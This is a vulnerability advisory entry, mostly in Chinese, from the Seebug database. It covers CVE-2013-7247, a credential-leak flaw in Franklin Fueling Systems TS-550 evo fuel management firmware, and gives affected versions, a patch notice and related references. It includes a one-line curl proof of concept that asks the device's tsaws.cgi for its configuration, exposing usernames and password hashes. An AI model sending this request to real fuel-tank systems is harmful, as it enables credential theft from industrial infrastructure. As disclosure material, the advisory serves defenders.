Lucene search
RootSSV:61385HistoryFeb 07, 2014 - 12:00 a.m.
Franklin Fueling Systems TS-550 evo‘cgi-bin/tsaws.cgi’安全绕过漏洞
2014-02-0700:00:00
Root
www.seebug.org
46
0.008 Low
EPSS
Percentile
81.4%
Bugtraq ID:64996
CVE ID: CVE-2013-7247
Franklin Fueling Systems TS-550 evo是美国富兰克林油系统（Franklin Fueling Systems）公司的一套燃油管理系统，它可通过储罐监控系统全面控制燃油管理，并提供彩色通知和详细标识说明的警报页面功能，迅速获得警报内容。
使用2.0.0.6833和2.3.1.7492版本固件的Franklin Fueling Systems TS-550 evo中的cgi-bin/tsaws.cgi脚本存在安全漏洞。远程攻击者可借助cmdWebGetConfiguration参数利用该泄露敏感信息（用户名和密码哈希值）。
0
Franklin Fueling Systems TS-550 evo device Firmware 2.0.0.6833和2.3.1.7492
厂商补丁：
Franklin Fueling Systems
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST><TSA_REQUEST COMMAND="cmdWebGetConfiguration"/></TSA_REQUEST_LIST>' http://www.example.com:10001/cgi-bin/tsaws.cgi
Related
cvelist
cvelist
CVE-2013-7247
2014-01-26 01:00:00
CVE-2017-6565
2017-05-01 19:00:00
cve
cve
CVE-2013-7247
2014-01-26 01:55:09
CVE-2017-6565
2017-05-01 19:59:00
prion
prion
Design/Logic Flaw
2014-01-26 01:55:00
Design/Logic Flaw
2017-05-01 19:59:00
nvd
nvd
CVE-2013-7247
2014-01-26 01:55:09
CVE-2017-6565
2017-05-01 19:59:00
exploitpack
exploitpack
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities
2014-01-24 00:00:00
seebug
seebug
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities
2014-07-01 00:00:00
zdt
zdt
Franklin Fueling's T550 Evo Access Control / Credentials
2014-01-23 00:00:00
packetstorm
packetstorm
Franklin Fueling's T550 Evo Access Control / Credentials
2014-01-21 00:00:00
exploitdb
exploitdb
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities
2014-01-24 00:00:00